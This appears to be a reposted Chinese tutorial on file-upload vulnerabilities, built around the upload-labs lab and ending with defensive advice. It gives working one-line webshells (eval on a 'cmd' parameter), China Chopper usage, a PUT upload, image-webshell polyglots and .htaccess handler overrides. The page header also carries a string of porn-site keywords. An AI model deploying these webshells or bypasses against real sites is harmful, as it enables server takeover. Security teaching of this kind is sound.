日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

文件上传知识点总结

發布時間:2023/12/8 编程问答 36 豆豆
生活随笔 收集整理的這篇文章主要介紹了 文件上传知识点总结 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

文章目錄

    • 第一章 概述
        • 第一節 漏洞概述
        • 第二節 漏洞成因
        • 第三節 漏洞危害
    • 第二章 相關術語
        • 第一節 WebShell
        • 第二節 大馬
        • 第三節 小馬
        • 第四節 中國菜刀與一句話木馬配合實現了三大基本功能
        • 第五節 GetShell
    • 第三章 文件上傳的條件
        • 第一節 一定的條件
    • 第三章 策略
        • 黑白名單策略
    • 第三章 文件上傳的利用
        • PUT 方法上傳文件
    • 第四章 文件上傳的繞過
        • 第一節 前端限制與繞過
        • 第二節 服務器端檢測--MIME 類型
        • 第二節 服務器端檢測--文件內容
        • 第三節 服務器端檢測--后綴名
        • 第四節 00 截斷
        • 第五節 .htaccess 攻擊
        • 第六節 文件名中包含php 關鍵字
        • 第七節 匹配文件名
    • 第五章 常見文件上傳漏洞
        • 第一節 Web 容器解析漏洞
        • 第二節 Nginx 空字節漏洞
        • 第三節 常見編輯器上傳
        • 第四節 常見CMS 上傳
    • 第六章 文件上傳漏洞的防御
        • 第一節 代碼角度
        • 第二節 服務器角度
    • 參考

第一章 概述

第一節 漏洞概述

文件上傳是Web 應用的必備功能之一,比如上傳頭像顯示個性化、上傳附件共享文件、上傳腳本更新網站等。 如果服務器配置不當或者沒有進行足夠的過濾,Web 用戶就可以上傳任意文件, 包括惡意腳本文件、exe 程序等,這就造成了文件上傳漏洞。

第二節 漏洞成因

文件上傳漏洞的成因: 一方面服務器配置不當會導致任意文件上傳; 另一方面,Web 應用開放了文件上傳功能,并且對上傳的文件沒有進行足夠的限制; 再者就是,程序開發部署時候,沒有考慮到系統特性和驗證和過濾不嚴格而導致限制被繞過,上傳任意文件。

第三節 漏洞危害

上傳漏洞最直接的威脅就是上傳任意文件,包括惡意腳本、程序等。 如果Web 服務器所保存上傳文件的可寫目錄具有執行權限,那么就可以直接上傳后門文件,導致網站淪陷。 如果攻擊者通過其他漏洞進行提權操作,拿到系統管理權限,那么直接導致服務器淪陷。 同服務器下的其他網站無一幸免,均會被攻擊者控制。 通過上傳漏洞獲得的網站后門,就是WebShell。

第二章 相關術語

第一節 WebShell

在計算機科學中,Shell 俗稱殼(用來區別于“核”),是指“為使用者提供操作界面”的軟件(命令解釋器)。 類似于windows 系統給的cmd.exe 或者linux 下bash 等,雖然這些系統上的命令解釋器不止一種。WebShell 是一個網站的后門,也是一個命令解釋器,不過是以Web 方式(HTTP 協議)通信(傳遞命令消息),繼承了Web 用戶的權限。 WebShell本質上是在服務器端可運行的腳本文件,后綴名為 .php/.asp/.aspx/.jsp 等, 也就是說WebShell 接收來自于Web 用戶的命令,然后再服務器端執行。

第二節 大馬

WebShell 也可以是大馬,也是網站木馬。 有一類WebShell 之所以叫大馬,是因為與小馬(一句話木馬)區分開,并且代碼比較大,但是功能比較豐富。 同樣,大馬有很多種腳本格式,其功能基本相同。 每個團隊都有自己的定制大馬。以下是一個簡單的例子。 輸入密碼,密碼一般直接寫在木馬文件中。在大馬中我們可以進行文件管理,執行系統命令等,還有一些其他定制功能。這是asp 的大馬。

第三節 小馬

小馬就是一句話木馬,因為其代碼量比較小,就是一句簡單的代碼。
以下是各個腳本的一句話。

ASP: <%eval request("cmd")%> ASP.NET: <%@ Page Language="Jscript"%> <%eval(Request.Item["cmd"],"unsafe");%> PHP: <?php @eval($_REQUEST['cmd']);?> JSP 和jspx的一句話木馬比較復雜一些,詳細可以查看文件[1.jsp]和[1.jspx]。 一句話木馬短小精悍,功能強大,但是需要配合中國菜刀或者中國蟻劍客戶端使用, 中國菜刀是一句話木馬的管理器,也是命令操作接口。 中國菜刀在連接一句話木馬的時候需要填寫密碼(實際上就是變量名)。 例如,我們上傳一個php 的一句話木馬,密碼就是[cmd]。

第四節 中國菜刀與一句話木馬配合實現了三大基本功能

@ 文件管理 在中國菜刀頁面繼承Web 用戶權限可以實現文件管理,包括文件查看、上傳、下載、修改、刪除甚至運行exe 程序等。@ 虛擬終端 在中國菜刀下可以獲得類似于cmd 和bash 的命令行接口,可以執行相關命令。@ 數據庫管理 我們可以使用中國菜刀進行數據庫管理,此時需要知道連接數據庫的賬密。以MYSQL 為例子,填寫配置,如下。 <T>MYSQL</T> //數據庫類型 <H>localhost</H> //數據庫地址 <U>root</U> //數據庫的用戶 <P></P> //數據庫的密碼,密碼為空就不寫 <L>utf8</L> //編碼

此時,我們就可以執行SQL 語句,管理數據庫了。

第五節 GetShell

GetShell,顧名思義,就是獲取Web 的過程和結果。當然任意文件上傳是GetShell 的主要方式,但并不是唯一途徑。

第三章 文件上傳的條件

第一節 一定的條件

  • Web 服務器要開啟文件上傳功能,并且上傳api(接口)對外“開放”(Web 用戶可以訪問);
  • Web 用戶對目標目錄具有可寫權限,甚至具有執行權限,一般情況下,Web 目錄都有執行權限。
  • 要想完美利用文件上傳漏洞,就是上傳的文件可以執行,也就是Web 容器可以解析我們上傳的腳本,無論腳本以什么樣的形式存在。
  • 無視以上條件的情況就是服務器配置不當,開啟了PUT 方法。
  • 第三章 策略

    黑白名單策略

    黑白名單是最常用的安全策略之一。 在計算機安全中,黑白名單類似于一個列表,列表中寫了一些條件或規則,如果“客體”在黑名單中,一律“禁止”,如果“客體”在白名單中,一律“允許”。類似于手機號碼的黑白名單。

    如,Chrome 瀏覽器的黑白名單策略:

    政策說明
    URLBlacklist·禁止用戶訪問您已阻止的網址。不過,用戶可以訪問黑名單之外的所有網址。 設置此政策:用戶將可以自由訪問所有網址。
    URLWhitelist將此政策與 URLBlacklist 政策搭配使用,可將特定網址設為黑名單的例外網址并允許用戶訪問。

    白名單的優先級高于黑名單。您至少要在黑名單中添加一個條目,才能正常使用此政策。
    不設置此政策:網址黑名單將沒有例外網址。

    華為收集安裝軟件黑白名單策略

    模式說明
    白名單模式·檢查只能安裝的軟件,只允許終端主機安裝軟件白名單中的軟件,安裝其他軟件則屬于違規行為。
    對于白名單中的軟件,該軟件屬于必須安裝類軟件,而終端主機未安裝該軟件,則屬于違規行為。 對于白名單中的軟件,該軟件不屬于必須安裝類軟件,而終端主機未安裝該軟件,則不屬于違規行為。 模式說明
    白名單+黑名單模式檢查必須安裝的軟件和禁止安裝的軟件。
    ·如果終端主機未安裝白名單中的任意一款軟件,則屬于違規行為。·如果終端主機已經安裝黑名單中的任意一款軟件,則屬于違規行為。 ·如果終端主機已經安裝白名單中的所有軟件,并且沒有安裝黑名單中的任意一款軟件,則不屬于違規行為。

    第三章 文件上傳的利用

    PUT 方法上傳文件

    HTTP 請求方法之一,允許想服務器直接寫入文件
    Apache 如何開啟PUT 方法:

    第一步 測試Apache 是否開啟了put 方法

    telnet 172.16.132.161 80 ---- OPTIONS / HTTP/1.1 HOST:172.16.132.161 ----

    第二 步 apache 開啟put 方法操作

    httpd.conf 文件開啟模塊 ---- LoadModule dav_module modules/mod_dav.so LoadModule dav_fs_module modules/mod_dav_fs.so ----啟用模塊 ---- <Directory />Options +Indexes +FollowSymLinks +ExecCGIAllowOverride AllOrder allow,denyAllow from allRequire all grantedDAV On </Directory> ----開啟文件鎖 ---- DavLockDB c:\phpstudy\www\DavLock ----

    第三步 上傳文件

    ---- PUT /info.php HTTP/1.1 HOST: 172.16.132.161 Content-Length: 18<?php phpinfo();?> ----

    第四章 文件上傳的繞過

    第一節 前端限制與繞過

    有些Web 應用的文件上傳功能,僅在前端用JS 腳本做了檢測,如檢測文件后綴名等。upload-labs 第一關,以下是經典的代碼。 <script type="text/javascript">function checkFile() {var file = document.getElementsByName('upload_file')[0].value;if (file == null || file == "") {alert("請選擇要上傳的文件!");return false;}//定義允許上傳的文件類型var allow_ext = ".jpg|.png|.gif";//提取上傳文件的類型var ext_name = file.substring(file.lastIndexOf("."));//判斷上傳文件類型是否允許上傳if (allow_ext.indexOf(ext_name) == -1) {var errMsg = "該文件不允許上傳,請上傳" + allow_ext + "類型的文件,當前文件類型為:" + ext_name;alert(errMsg);return false;}} </script> 此段JS 代碼采用白名單策略,檢測文件后綴名。配合表單事件使用。 <form enctype="multipart/form-data" method="post" onsubmit="return checkFile()"><p>請選擇要上傳的圖片:<p><input class="input_file" type="file" name="upload_file"/><input class="button" type="submit" name="submit" value="上傳"/> </form> 前端JS 腳本檢測的安全防御是十分薄弱的。可以非常輕松的繞過。 方法一:因為JS 腳本的運行環境是瀏覽器,我們可以修改JS 代碼,甚至刪除表單事件。 方法二:使惡意文件后綴名符合白名單策略,用Burp 掛代理抓包,然后修改文件后綴名即可。對于文件上傳,只從Web 前端進行檢測顯然防護不足,那么服務器端檢測就特別重要了。一般服務器端檢測,采用黑白名單策略,檢測如下內容。

    第二節 服務器端檢測–MIME 類型

    MIME (Multipurpose Internet Mail Extensions) 是描述消息內容類型的因特網標準。 MIME 消息能包含文本、圖像、音頻、視頻以及其他應用程序專用的數據。 常見的MIME 類型如下 文件擴展名Mime-Type
    .jsapplication/x-javascript
    .htmltext/html
    .jpgimage/jpeg
    .pngimage/png
    .pdfapplication/pdf

    在HTTP 協議中,使用Content-Type 字段表示文件的MIME 類型。
    當我們上傳文件的時候,抓到HTTP 數據包。

    在服務器端會檢測Content-Type 類型,upload-labs 第二關,經典的代碼如下 if (isset($_POST['submit'])) {if (file_exists($UPLOAD_ADDR)) {if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {$img_path = $UPLOAD_ADDR . $_FILES['upload_file']['name'];$is_upload = true;}} else {$msg = '文件類型不正確,請重新上傳!';}} else {$msg = $UPLOAD_ADDR.'文件夾不存在,請手工創建!';} }

    由于服務器在檢測Content-Type 類型的時候,取得的變量來自于用戶,所以可以用Burp 抓包,修改這個字段,使其合法,即可繞過限制上傳任意文件。

    訪問上傳的文件。

    第二節 服務器端檢測–文件內容

    除了檢測上傳文件的Content-Type 類型,為了保持安全性,服務器端還會檢測文件內容。 PHP 中有一個函數getimagesize(),這個函數本意是檢查圖片的大小,但是在檢查之前,該函數會判斷目標文件是否是一張圖片。 因此,可以用該函數來檢測文件的內容。upload-load 14 關。 function isImage($filename){$types = '.jpeg|.png|.gif';if(file_exists($filename)){$info = getimagesize($filename);$ext = image_type_to_extension($info[2]);if(stripos($types,$ext)){return $ext;}else{return false;}}else{return false;} }

    對于文件內容檢測,我們可以通過制作上傳圖片木馬繞過。

    ------ GIF89a ------ ------ copy smile.jpg/b+info.php/a smile_info.jpg ------文件幻數 png 89 50 4E 47 0D 0A 1A 0A 00 00 00 0D 49 48 44 52 jpg FF D8 FF E0 00 10 4A 46 49 46 00 01 01 01 01 2C gif 47 49 46 38 39 61 F1 00 2C 01 F7 00 00 64 32 33

    第三節 服務器端檢測–后綴名

    服務器端還會檢測文件后綴名。 服務器端在檢測文件名的時候,依然會采用黑白名單策略。黑名單策略,不允許上傳php|asp|aspx|jsp...等可執行腳本的文件;白名單策略,只允許上傳jpg|gif|png|doc|rar… 等格式的文件。@ 黑名單 代碼中$deny_ext 數據就是一個黑名單,數組元素就是不允許上傳的類型。 對于黑名單,我們可以尋找其他可允許上傳的類型來繞過限制。

    可以執行腳本后綴名

    .php .php2 .php3 .php5 .phtml .asp .aspx .ascx .ashx .asa .cer .jsp .jspx @ 白名單 對于后綴名白名單策略,我們只能上傳在白名單內的文件后綴名。

    第四節 00 截斷

    00 就是Null(空)字符,URL 中表現為%00,00 截斷會導致文件上傳路徑截斷。 我們以upload-labs 第十一關為例子說明這個問題。 if(isset($_POST['submit'])){$ext_arr = array('jpg','png','gif');$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);if(in_array($file_ext,$ext_arr)){$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;if(move_uploaded_file($temp_file,$img_path)){$is_upload = true;}else{$msg = '上傳失敗!';}}else{$msg = "只允許上傳.jpg|.png|.gif類型文件!";} }

    第五節 .htaccess 攻擊

    .htaccess 是Apache 服務器的分布式配置文件,該配置文件會覆蓋Apache 服務器的全局配置,作用域是當前目錄及其子目錄。 如果一個Web 應用允許上傳.htaccess 文件,那就意味著攻擊者可以更改Apache 的配置,這是十分危險。 .htaccess 攻擊想象空間非常大。 首先看Apache 的配置,允許.htaccess 文件覆蓋掉Apache 的配置。
    • 將.png 文件當作PHP 文件解析
      將以下代碼寫入文件,并保存成.htaccess 名字,放到測試目錄下

    AddType application/x-httpd-php .png

    在同一目錄下創建一個文件[info.png],文件內容如下 <?php phpinfo(); ?> 當我們訪問該文件時,[info.png] 內的PHP 代碼將會被執行。

    第六節 文件名中包含php 關鍵字

    當文件名[info.php.png] 中包含關鍵字[.php],并且.htaccess 文件內容如下,info.php.png 中的代碼會被執行。

    AddHandler php5-script php

    第七節 匹配文件名

    以下配置是匹配文件名[ajest],找打該文件,并執行其中的PHP 代碼

    <FilesMatch "ajest"> SetHandler application/x-httpd-php </FilesMatch>
    • upload-labs 第四關
      先上傳[.htaccess] 文件。

      再上傳[ajest]

    第五章 常見文件上傳漏洞

    第一節 Web 容器解析漏洞

    Web容器解析漏洞,就是Web 容器在解析腳本出現的"bug"。

    • Apache 解析漏洞
      info.php.xxx.xx.x

    • IIS6.0 解析漏洞
      @ asp;.jpg
      time.asp;1.jpg
      @ 1.asp/time.jpg

    • PHP CGI 解析漏洞
      @ IIS7.0/7.5
      IIS7.0/7.5+PHP 環境
      讓iis7.0/7.5 支持PHP 環境
      http://localhost:8000/info.png/1.php
      @ Nginx 解析漏洞
      /info.png/1.php
      cgi.fix_pathinfo

    第二節 Nginx 空字節漏洞

    • Nginx 文件名邏輯漏洞(CVE-2013-4745)

    第三節 常見編輯器上傳

    編輯器就是網站后臺編輯網頁的在線編輯器,會自動集成文件上傳功能,這些編輯器的某些版本也存在文件上傳漏洞。
    • ewebeditor
    • fckeditor

    第四節 常見CMS 上傳

    CMS 又叫網站內容管理系統(網站的模板,快速建站,二次開發),市面上很多開源的CMS 的歷史版本中有很多存在文件上傳漏洞,但是產生文件上傳漏洞的原因不盡相同,情景也不似本章上文中介紹的那樣“直白”。類似的CMS 有很多,比如常見的dedeCMS、PHPcms 等。

    第六章 文件上傳漏洞的防御

    關于文件上傳的防御,防住危險的腳本類型是最基本的防御,最理想的是能夠過濾掉圖片馬中的惡意代碼。如果一個Web 應用能夠上傳圖片木馬,那么我們認為這個Web 應用是不安全的。文件上傳漏洞的防御主要從以下幾個方面考慮。

    第一節 代碼角度

    @ 采用白名單策略,嚴格限制上傳文件的后綴名。 @ 進行二次渲染,過濾掉圖片馬中的惡意代碼。 @ 上傳文件重命名,盡量少的從客戶端獲取信息。 @ 避免文件包含漏洞。 @ 嚴格處理文件路徑,防御00 截斷漏洞,避開空格、點 、::$DATA 等windows 特性。

    第二節 服務器角度

    @ 及時更新Web 容器,防止解析漏洞的產生。 @ 可寫目錄不給執行權限。

    參考

    IIS WebDAV安全配置 https://www.2cto.com/article/201307/228165.html Upload-labs通關手冊 https://xz.aliyun.com/t/2435 解析漏洞總結 https://www.secpulse.com/archives/3750.html

    總結

    以上是生活随笔為你收集整理的文件上传知识点总结的全部內容,希望文章能夠幫你解決所遇到的問題。

    如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。